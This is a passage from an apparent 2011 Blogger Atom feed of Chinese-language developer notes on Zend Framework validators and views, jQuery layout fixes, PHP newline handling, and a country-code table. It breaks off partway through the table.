src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5223250668840498122</id><published>2011-03-18T09:56:00.001+08:00</published><updated>2011-03-28T15:20:52.921+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend validator</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;validator&lt;br /&gt;&lt;code&gt;$validator = new Zend_Validate_NotEmpty();&lt;br /&gt;if($validator-&amp;gt;isValid($username))&lt;br /&gt;...&lt;/code&gt;&lt;/li&gt;&lt;li&gt;chain&lt;br /&gt;&lt;code&gt;$validatorChain = new Zend_Validate();&lt;br /&gt;$validatorChain-&amp;gt;addValidator(new Zend_Validate_NotEmpty())&lt;br /&gt;-&amp;gt;addValidator(new Zend_Validate_Alnum()));&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;自訂訊息&lt;br /&gt;&lt;code&gt;$alnum = new Zend_Validate_Alnum();&lt;br /&gt;$alnum-&amp;gt;setMessage('非數字');&lt;/code&gt;&lt;br /&gt;&lt;blockquote&gt;Zend_Validate_EmailAddress的setMessage沒反應,v1.11前都還沒修好&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5223250668840498122?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5223250668840498122/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5223250668840498122' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5223250668840498122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5223250668840498122'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/zend-validator.html' title='Zend validator'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2093208915074594775</id><published>2011-03-18T09:49:00.000+08:00</published><updated>2011-03-18T09:49:57.249+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend View Helper</title><content type='html'>利用View Helper，在網頁中呈現使用者登入的資訊&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;//header ...&lt;br /&gt;$this-&gt;LoggedInUser-&gt;loggedInUser()();&lt;br /&gt;//content ...&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;?phpclass Zend_View_Helper_LoggedInUser{        protected $_view;        function setView($view)        {                $this-&gt;_view = $view;&lt;br /&gt;        }&lt;br /&gt;        function loggedInUser()&lt;br /&gt;        {&lt;br /&gt;                $auth = Zend_Auth::getInstance();&lt;br /&gt;                if($auth-&gt;hasIdentity()) #2&lt;br /&gt;                {&lt;br /&gt;                        $logoutUrl = $this-&gt;_view-&gt;linkTo('auth/logout');&lt;br /&gt;                        $user = $auth-&gt;getIdentity(); #3&lt;br /&gt;                        $username = $this-&gt;_view-&gt;escape(ucfirst($user-&gt;name));&lt;br /&gt;                        $string = 'Logged in as ' . $username . ' | &lt;a href="' .                        $logoutUrl . '"&gt;Log out&lt;/a&gt;';&lt;br /&gt;                } else {&lt;br /&gt;                        $loginUrl = $this-&gt;_view-&gt;linkTo('auth/identify'); #4&lt;br /&gt;                        $string = '&lt;a href="'. $loginUrl . '"&gt;Log in&lt;/a&gt;'; #5&lt;br /&gt;                }&lt;br /&gt;                return $string;&lt;br /&gt;        }&lt;br /&gt;}&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2093208915074594775?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2093208915074594775/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2093208915074594775' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2093208915074594775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2093208915074594775'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/zend-view-helper.html' title='Zend View Helper'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-160090369262699578</id><published>2011-03-18T09:46:00.000+08:00</published><updated>2011-03-18T09:46:01.925+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend View Render</title><content type='html'>View Render&lt;br /&gt;&lt;code&gt;$view = new Zend_View();&lt;br /&gt;$view-&gt;setScriptPath(dirname(__FILE__) . “/templates”);  //template的位置&lt;br /&gt;$view-&gt;name = $name;   //參數&lt;br /&gt;$view-&gt;email = $email;&lt;br /&gt;$view-&gt;render(‘form.phtml’);   //render&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;template(login.phtml)&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;  &amp;lt;body&amp;gt;&lt;br /&gt;    Login e-mail:&lt;?php echo $this-&gt;email; ?&amp;gt;&lt;br /&gt;    Login password:&lt;?php echo $this-&gt;password; ?&amp;gt;&lt;br /&gt;  &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-160090369262699578?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/160090369262699578/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=160090369262699578' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/160090369262699578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/160090369262699578'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/zend-view-render.html' title='Zend View Render'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4569716564791465775</id><published>2011-03-17T17:41:00.001+08:00</published><updated>2011-03-17T17:42:18.934+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>ie css min-height問題</title><content type='html'>網上查只有ie6有不支援min-height問題&lt;br /&gt;不過我也不知那機車美工怎麼做的&lt;br /&gt;我的ie8不會自動延展div&lt;br /&gt;&lt;br /&gt;最後用javascript自己給它"動"一下&lt;br /&gt;做法是&lt;br /&gt;&lt;code&gt;function onload(){&lt;br /&gt;var tmp = $('#content').css('position'); //content是破板的div&lt;br /&gt;$("#content").css('position','absolute');&lt;br /&gt;$("#content").css('position',tmp);&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://ithelp.ithome.com.tw/question/10000649"&gt;解決IE6不支援css min-width與min-height&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4569716564791465775?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4569716564791465775/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4569716564791465775' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4569716564791465775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4569716564791465775'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/ie-css-min-height.html' title='ie css min-height問題'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8310510458678961388</id><published>2011-03-16T17:12:00.009+08:00</published><updated>2011-09-30T21:52:21.939+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>nl2br問題</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;本來用mysql_real_escape_string用的好好的不過最近處理textarea有斷行的文字原本想用nl2br轉，卻一直轉失敗，一直沒有辦法判斷出\n&lt;php class="code"&gt;&lt;pre class="brush: php"&gt;$value = mysql_real_escape_string($value); //先escape也會失敗&lt;&lt;br /&gt;$value = nl2br($value);&lt;br /&gt;&lt;br /&gt;----result----&lt;br /&gt;11/n22&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;調一下順序&lt;br /&gt;&lt;php class="code"&gt;&lt;pre class="brush: php"&gt;$value = ereg_replace( "\n", "", $value); //不知為何用nl2br會失敗&lt;br /&gt;&lt;br /&gt;$value = mysql_real_escape_string($value); //先escape也會失敗&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;----result----&lt;br /&gt;&lt;br /&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;----有斷行，不過還是不對&amp;nbsp;&lt;br /&gt;&lt;br /&gt;\n22&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;改掉nl2br的方法&lt;br /&gt;&lt;php class="code"&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$value = mysql_real_escape_string($value); //先escape也會失敗&lt;br /&gt;$value = ereg_replace( "\n", "", $value); &lt;br /&gt;----result----&lt;br /&gt;&lt;br /&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;-- 總算是成功了&amp;nbsp;&lt;br /&gt;&lt;br /&gt;22&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8310510458678961388?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8310510458678961388/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8310510458678961388' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8310510458678961388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8310510458678961388'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/nl2br.html' title='nl2br問題'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2164178473959481616</id><published>2011-03-15T16:20:00.002+08:00</published><updated>2011-03-15T16:22:13.084+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>js取得置中位置</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;左右皆置中&lt;br /&gt;&lt;code&gt;var $dialog = $("&amp;lt;div&amp;gt;hello&amp;lt;/div&amp;gt;");&lt;br /&gt;var left = ($(window).width() - $dialog.outerWidth()) / 2 + $(window).scrollLeft() + "px";&lt;br /&gt;var top =  ($(window).height() - $dialog.outerHeight() ) / 2 + $(window).scrollTop() + "px";&lt;br /&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;click button後，置於button正下方&lt;br /&gt;&lt;code&gt;onclick = "showDialog(this)&lt;br /&gt;function showDialog(obj)&lt;br /&gt;var margin_top = 30; //自行預設設margin top距離&lt;br /&gt;&lt;br /&gt;var pos = $(obj).offset();&lt;br /&gt;var eWidth = $(obj).outerWidth();&lt;br /&gt;var mWidth = $confirmBox.outerWidth();&lt;br /&gt;var left = (pos.left - mWidth/2) + "px";&lt;br /&gt;var top = margin_top + pos.top + "px";&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2164178473959481616?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2164178473959481616/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2164178473959481616' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2164178473959481616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2164178473959481616'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/js.html' title='js取得置中位置'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1317925560292109322</id><published>2011-03-08T10:21:00.000+08:00</published><updated>2011-03-08T10:21:07.936+08:00</updated><title type='text'>國家代碼、中文名稱、英文名稱</title><content type='html'>直接複製，貼到excel組成sql字串&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" style="width: 563px;"&gt;&lt;th style="width: 31pt;" width="41"&gt;代碼&lt;/th&gt;  &lt;th style="width: 15pt;" width="20"&gt;&lt;/th&gt;  &lt;th style="width: 227pt;" width="302"&gt;英文&lt;/th&gt;  &lt;th style="width: 15pt;" width="20"&gt;&lt;/th&gt;  &lt;th style="width: 135pt;" width="180"&gt;中文&lt;/th&gt;  &lt;tbody&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td class="xl24" height="22" style="height: 16.5pt; width: 31pt;" width="41"&gt;'AD'&lt;/td&gt;   &lt;td style="width: 15pt;" width="20"&gt;,&lt;/td&gt;   &lt;td style="width: 227pt;" width="302"&gt;'Andorra'&lt;/td&gt;   &lt;td style="width: 15pt;" width="20"&gt;,&lt;/td&gt;   &lt;td style="width: 135pt;" width="180"&gt;'安道爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'United Arab Emirates'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿拉伯聯合酋長國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Afghanistan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿富汗'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Antigua &amp;amp; Barbuda'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'安提瓜和巴布達'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Anguilla'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'安圭拉'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AL'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Albania'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿爾巴尼亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Armenia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'亞美尼亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Netherlands Antilles'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'荷屬安的列斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Angola'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'安哥拉'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AQ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Antarctica'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'南極洲'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Argentina'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿根廷'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AS'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'American Samoa'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'美屬薩摩亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Austria'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'奧地利'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Australia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'澳大利亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Aruba'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿魯巴'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'AZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Azerbaijan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿塞拜疆'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bosnia and Herzegovina'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'波斯尼亞和黑塞哥維那'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BB'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Barbados'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴巴多斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BD'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bangladesh'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'孟加拉'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Belgium'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'比利時'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Burkina Faso'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'布其納法索'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bulgaria'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'保加利亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bahrain'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴林'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Burundi'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'布隆迪'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BJ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Benin'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'貝寧'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bermuda'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'百慕達'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Brunei Darussalam'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'汶萊'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bolivia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'玻利維亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Brazil'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴西'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BS'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bahama'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴哈馬'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bhutan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'不丹'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BV'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Bouvet Island'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'布維島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Botswana'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'博茨瓦納'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Belarus'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'白俄羅斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'BZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Belize'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'伯利茲'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Canada'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'加拿大'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cocos (Keeling) Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td class="xl25"&gt;'可可島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Central African Republic'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'中非共和國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Congo'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'剛果'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 